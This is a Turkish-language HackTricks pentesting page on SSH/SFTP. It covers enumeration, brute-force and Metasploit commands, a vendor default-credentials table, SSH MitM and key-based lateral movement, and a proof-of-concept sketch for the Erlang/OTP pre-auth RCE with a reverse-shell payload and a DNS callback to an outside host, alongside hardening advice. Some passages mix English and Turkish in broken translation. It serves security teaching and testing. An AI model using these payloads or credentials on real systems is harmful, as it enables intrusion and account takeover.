22 - Pentesting SSH/SFTP
Reading time: 14 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
SSH (Güvenli Kabuk veya Güvenli Soket Kabuk), güvensiz bir ağ üzerinden bir bilgisayara güvenli bir bağlantı sağlamayı mümkün kılan bir ağ protokolüdür. Uzak sistemlere erişirken verilerin gizliliğini ve bütünlüğünü korumak için gereklidir.
Varsayılan port: 22
22/tcp open ssh syn-ack
SSH sunucuları:
- openSSH – OpenBSD SSH, BSD, Linux dağıtımları ve Windows 10'dan itibaren Windows'ta yerleşik
- Dropbear – Düşük bellek ve işlemci kaynaklarına sahip ortamlar için SSH uygulaması, OpenWrt'de yerleşik
- PuTTY – Windows için SSH uygulaması, istemcisi yaygın olarak kullanılır ancak sunucu kullanımı daha nadirdir
- CopSSH – Windows için OpenSSH uygulaması
SSH kütüphaneleri (sunucu tarafını uygulayan):
- libssh – SSHv2 protokolünü uygulayan çok platformlu C kütüphanesi, Python, Perl ve R ile bağlamaları vardır; KDE tarafından sftp için ve GitHub tarafından git SSH altyapısı için kullanılır
- wolfSSH – ANSI C ile yazılmış ve gömülü, RTOS ve kaynak kısıtlı ortamlar için hedeflenmiş SSHv2 sunucu kütüphanesi
- Apache MINA SSHD – Apache SSHD java kütüphanesi Apache MINA'ya dayanmaktadır
- paramiko – Python SSHv2 protokol kütüphanesi
Sayım
Banner Alma
nc -vn <IP> 22
Otomatik ssh-audit
ssh-audit, ssh sunucu ve istemci yapılandırma denetimi için bir araçtır.
https://github.com/jtesta/ssh-audit güncellenmiş bir çatallamadır https://github.com/arthepsy/ssh-audit/
Özellikler:
- SSH1 ve SSH2 protokol sunucu desteği;
- SSH istemci yapılandırmasını analiz etme;
- afiş alma, cihaz veya yazılım ve işletim sistemini tanıma, sıkıştırmayı tespit etme;
- anahtar değişimi, anahtar, şifreleme ve mesaj kimlik doğrulama kodu algoritmalarını toplama;
- algoritma bilgilerini çıktı olarak verme (mevcut olduğu tarihten itibaren, kaldırılmış/devre dışı bırakılmış, güvensiz/zayıf/eski, vb.);
- algoritma önerilerini çıktı olarak verme (tanınan yazılım sürümüne göre ekleme veya kaldırma);
- güvenlik bilgilerini çıktı olarak verme (ilgili sorunlar, atanan CVE listesi, vb.);
- algoritma bilgisine dayalı olarak SSH sürüm uyumluluğunu analiz etme;
- OpenSSH, Dropbear SSH ve libssh'den tarihsel bilgiler;
- Linux ve Windows'ta çalışır;
- bağımlılık yok
usage: ssh-audit.py [-1246pbcnjvlt] <host>
-1, --ssh1 force ssh version 1 only
-2, --ssh2 force ssh version 2 only
-4, --ipv4 enable IPv4 (order of precedence)
-6, --ipv6 enable IPv6 (order of precedence)
-p, --port=<port> port to connect
-b, --batch batch output
-c, --client-audit starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n, --no-colors disable colors
-j, --json JSON output
-v, --verbose verbose output
-l, --level=<level> minimum output level (info|warn|fail)
-t, --timeout=<secs> timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>
Sunucunun Genel SSH Anahtarı
ssh-keyscan -t rsa <IP> -p <PORT>
Zayıf Şifreleme Algoritmaları
Bu, varsayılan olarak nmap tarafından keşfedilir. Ancak sslcan veya sslyze de kullanabilirsiniz.
Nmap betikleri
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods
Shodan
ssh
Kaba kuvvetle kullanıcı adları, şifreler ve özel anahtarlar
Kullanıcı Adı Sayımı
Bazı OpenSSH sürümlerinde, kullanıcıları saymak için bir zamanlama saldırısı yapabilirsiniz. Bunu istismar etmek için bir metasploit modülü kullanabilirsiniz:
msf> use scanner/ssh/ssh_enumusers
Brute force
Bazı yaygın ssh kimlik bilgileri burada ve burada ve aşağıda.
Özel Anahtar Brute Force
Eğer kullanılabilecek bazı ssh özel anahtarlarını biliyorsanız... deneyelim. nmap script'ini kullanabilirsiniz:
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
MSF yardımcı modülü için:
msf> use scanner/ssh/ssh_identify_pubkeys
Or use ssh-keybrute.py
(native python3, lightweight and has legacy algorithms enabled): snowdroppe/ssh-keybrute.
Bilinen kötü anahtarlar burada bulunabilir:
ssh-badkeys/authorized at master \xc2\xb7 rapid7/ssh-badkeys \xc2\xb7 GitHub
Zayıf SSH anahtarları / Debian tahmin edilebilir PRNG
Bazı sistemler, kriptografik materyal oluşturmak için kullanılan rastgele tohumda bilinen hatalara sahiptir. Bu, bruteforce ile kırılabilecek önemli ölçüde azaltılmış bir anahtar alanına yol açabilir. Zayıf PRNG'den etkilenen Debian sistemlerinde önceden oluşturulmuş anahtar setleri burada mevcuttur: g0tmi1k/debian-ssh.
Kurban makinesi için geçerli anahtarları aramak amacıyla buraya bakmalısınız.
Kerberos
crackmapexec ssh
protokolünü kullanarak kerberos ile kimlik doğrulamak için --kerberos
seçeneğini kullanabilir.
Daha fazla bilgi için crackmapexec ssh --help
komutunu çalıştırın.
Varsayılan Kimlik Bilgileri
Satıcı | Kullanıcı Adları | Parolalar |
---|---|---|
APC | apc, cihaz | apc |
Brocade | admin | admin123, password, brocade, fibranne |
Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
D-Link | admin, kullanıcı | private, admin, user |
Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
Juniper | netscreen | netscreen |
NetApp | admin | netapp123 |
Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
SSH-MitM
Eğer kurbanın SSH sunucusuna kullanıcı adı ve şifre ile bağlanacağı yerel ağdaysanız, bu kimlik bilgilerini çalmak için MitM saldırısı gerçekleştirmeyi deneyebilirsiniz:
Saldırı yolu:
- Trafik Yönlendirme: Saldırgan, kurbanın trafiğini kendi makinesine yönlendirir, böylece SSH sunucusuna bağlantı girişimini yakalar.
- Yakalama ve Kaydetme: Saldırganın makinesi, meşru SSH sunucusu gibi davranarak kullanıcının giriş bilgilerini yakalar.
- Komut Yürütme ve İletme: Son olarak, saldırganın sunucusu kullanıcının kimlik bilgilerini kaydeder, komutları gerçek SSH sunucusuna ilerletir, yürütür ve sonuçları geri gönderir, süreci kesintisiz ve meşru gösterir.
SSH MITM yukarıda tarif edilenleri tam olarak yapar.
Gerçek MitM'yi gerçekleştirmek için ARP spoofing, DNS spoofing veya Ağ Spoofing saldırıları gibi teknikleri kullanabilirsiniz.
SSH-Snake
Ağda keşfedilen SSH özel anahtarlarını kullanarak sistemler arasında geçiş yapmak istiyorsanız, her sistemdeki her özel anahtarı yeni ana bilgisayarlar için kullanarak SSH-Snake ihtiyacınız olan şeydir.
SSH-Snake aşağıdaki görevleri otomatik ve yinelemeli olarak gerçekleştirir:
- Mevcut sistemde herhangi bir SSH özel anahtarını bulun,
- Mevcut sistemde özel anahtarların kabul edilebileceği herhangi bir ana bilgisayar veya hedef (kullanıcı@ana bilgisayar) bulun,
- Keşfedilen tüm özel anahtarları kullanarak tüm hedeflere SSH bağlantısı kurmayı deneyin,
- Bir hedefe başarıyla bağlanılırsa, bağlı olunan sistemde adım #1 - #4'ü tekrar edin.
Tamamen kendini çoğaltan ve kendini yayabilen - ve tamamen dosyasızdır.
Yapılandırma Hataları
Root girişi
SSH sunucularının varsayılan olarak root kullanıcı girişine izin vermesi yaygındır, bu da önemli bir güvenlik riski oluşturur. Root girişini devre dışı bırakmak, sunucuyu güvence altına almanın kritik bir adımıdır. Bu değişikliği yaparak, yetkisiz erişim ve brute force saldırılarını azaltabilirsiniz.
OpenSSH'de Root Girişini Devre Dışı Bırakmak için:
- SSH yapılandırma dosyasını düzenleyin:
sudoedit /etc/ssh/sshd_config
- Ayarı değiştirin:
#PermitRootLogin yes
ifadesiniPermitRootLogin no
olarak değiştirin. - Yapılandırmayı yeniden yükleyin:
sudo systemctl daemon-reload
- Değişiklikleri uygulamak için SSH sunucusunu yeniden başlatın:
sudo systemctl restart sshd
SFTP Brute Force
SFTP komut yürütme
SFTP kurulumlarında, yöneticilerin kullanıcıların dosya alışverişi yapmasını sağlamak için uzaktan shell erişimini etkinleştirmemesiyle ilgili yaygın bir gözden kaçırma meydana gelir. Kullanıcıları etkileşimli olmayan shell'lerle (örneğin, /usr/bin/nologin
) ayarlayıp belirli bir dizine kapatsalar da, bir güvenlik açığı kalır. Kullanıcılar, giriş yaptıktan hemen sonra bir komutun (örneğin /bin/bash
) yürütülmesini talep ederek bu kısıtlamaları aşabilirler, bu da yetkisiz komut yürütmeye olanak tanır ve amaçlanan güvenlik önlemlerini zayıflatır.
ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0
$ ssh noraj@192.168.1.94 /bin/bash
İşte kullanıcı noraj
için güvenli bir SFTP yapılandırması (/etc/ssh/sshd_config
– openSSH):
Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no
Bu yapılandırma yalnızca SFTP'ye izin verecek: başlangıç komutunu zorlayarak shell erişimini devre dışı bırakacak ve TTY erişimini devre dışı bırakacak, ayrıca her türlü port yönlendirmeyi veya tünellemeyi de devre dışı bırakacaktır.
SFTP Tünelleme
Eğer bir SFTP sunucusuna erişiminiz varsa, trafiğinizi bunun üzerinden tünelleme yapabilirsiniz, örneğin yaygın port yönlendirmesini kullanarak:
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
SFTP Symlink
The sftp have the command "symlink". Therefor, if you have yazma hakları in some folder, you can create symlinks of diğer klasörler/dosyalar. As you are probably tuzağa düşmüş inside a chroot this özel olarak faydalı olmayacak for you, but, if you can erişim sağlamak the created symlink from a no-chroot hizmet (for example, if you can access the symlink from the web), you could web üzerinden symlinkli dosyaları açabilirsiniz.
For example, to create a symlink from a new file "froot" to "/":
sftp> symlink / froot
Eğer "froot" dosyasına web üzerinden erişiminiz varsa, sistemin kök ("/") klasörünü listeleyebilirsiniz.
Kimlik Doğrulama Yöntemleri
Yüksek güvenlikli ortamlarda, basit faktör şifre tabanlı kimlik doğrulama yerine yalnızca anahtar tabanlı veya iki faktörlü kimlik doğrulamanın etkinleştirilmesi yaygın bir uygulamadır. Ancak genellikle daha güçlü kimlik doğrulama yöntemleri, daha zayıf olanların devre dışı bırakılmadan etkinleştirilir. Sık karşılaşılan bir durum, openSSH yapılandırmasında publickey
'nin etkinleştirilmesi ve varsayılan yöntem olarak ayarlanması, ancak password
'un devre dışı bırakılmamasıdır. Bu nedenle, SSH istemcisinin ayrıntılı modunu kullanarak bir saldırgan, daha zayıf bir yöntemin etkin olduğunu görebilir:
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive
Örneğin, bir kimlik doğrulama hatası limiti ayarlandıysa ve şifre yöntemine ulaşma şansınız yoksa, bu yöntemi kullanmaya zorlamak için PreferredAuthentications
seçeneğini kullanabilirsiniz.
ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
SSH sunucu yapılandırmasını gözden geçirmek, yalnızca beklenen yöntemlerin yetkilendirildiğinden emin olmak için gereklidir. İstemcideki ayrıntılı mod, yapılandırmanın etkinliğini görmekte yardımcı olabilir.
Yapılandırma dosyaları
ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa
Fuzzing
- https://packetstormsecurity.com/files/download/71252/sshfuzz.txt
- https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2
Kimlik Doğrulama Durum Makinesi Atlatma (Ön Kimlik Doğrulama RCE)
Birçok SSH sunucu uygulaması, bir istemcinin kimlik doğrulama tamamlanmadan önce bağlantı protokolü mesajları göndermesine izin veren kimlik doğrulama sonlu durum makinesi içinde mantık hataları içerir. Sunucu, doğru durumda olduğunu doğrulamadığı için, bu mesajlar kullanıcının tamamen kimlik doğrulaması yapılmış gibi işlenir ve bu da kimlik doğrulaması yapılmamış kod yürütme veya oturum oluşturma ile sonuçlanır.
Protokol seviyesinde, mesaj kodu ≥ 80 (0x50) olan herhangi bir SSH mesajı bağlantı katmanına (RFC 4254) aittir ve yalnızca başarılı kimlik doğrulamasından sonra kabul edilmelidir (RFC 4252). Sunucu, SSH_AUTHENTICATION durumundayken bu mesajlardan birini işlerse, saldırgan hemen bir kanal oluşturabilir ve komut yürütme, port yönlendirme gibi eylemler talep edebilir.
Genel Sömürü Adımları
- Hedefin SSH portuna (genellikle 22, ancak diğer hizmetler 2022, 830, 2222… üzerinde Erlang/OTP sunabilir) bir TCP bağlantısı kurun.
- Ham bir SSH paketi oluşturun:
- 4 bayt paket_uzunluğu (big-endian)
- 1 bayt mesaj_kodu ≥ 80 (örneğin,
SSH_MSG_CHANNEL_OPEN
= 90,SSH_MSG_CHANNEL_REQUEST
= 98) - Seçilen mesaj türü tarafından anlaşılacak yük
- Paketi herhangi bir kimlik doğrulama adımını tamamlamadan önce gönderin.
- Artık ön kimlik doğrulama aşamasında açığa çıkan sunucu API'leri ile etkileşimde bulunun (komut yürütme, port yönlendirme, dosya sistemi erişimi, …).
Python kanıt-of-concept taslağı:
import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity – send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands
Pratikte, hedef uygulamaya göre anahtar değişimini gerçekleştirmeniz (veya atlamanız) gerekecek, ancak hiçbir kimlik doğrulama yapılmaz.
Erlang/OTP sshd
(CVE-2025-32433)
- Etkilenen sürümler: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
- Kök neden: Erlang yerel SSH daemon'u,
ssh_connection:handle_msg/2
çağrılmadan önce mevcut durumu doğrulamaz. Bu nedenle, mesaj kodu 80-255 olan herhangi bir paket, oturum hala userauth durumundayken bağlantı işleyicisine ulaşır. - Etkisi: kimlik doğrulaması yapılmamış uzaktan kod yürütme (daemon genellikle gömülü/OT cihazlarda root olarak çalışır).
Saldırgan kontrolündeki kanala bağlı bir ters shell başlatan örnek yük:
% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
Blind RCE / out-of-band tespiti DNS üzerinden gerçekleştirilebilir:
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
Detection & Mitigation:
- SSH trafiğini denetleyin: kimlik doğrulamasından önce gözlemlenen mesaj kodu ≥ 80 olan herhangi bir paketi düşürün.
- Erlang/OTP'yi 27.3.3 / 26.2.5.11 / 25.3.2.20 veya daha yenisine yükseltin.
- Yönetim portlarının (22/2022/830/2222) maruziyetini kısıtlayın – özellikle OT ekipmanlarında.
Diğer Etkilenen Uygulamalar
- libssh 0.6 – 0.8 (sunucu tarafı) – CVE-2018-10933 – istemci tarafından gönderilen kimlik doğrulaması yapılmamış
SSH_MSG_USERAUTH_SUCCESS
mesajını kabul eder, bu da ters mantık hatasıdır.
Ortak ders, RFC tarafından belirlenen durum geçişlerinden herhangi bir sapmanın ölümcül olabileceğidir; SSH daemonlarını gözden geçirirken veya fuzzing yaparken durum makinesi uygulamasına özellikle dikkat edin.
References
HackTricks Automatic Commands
Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening
Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh
Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.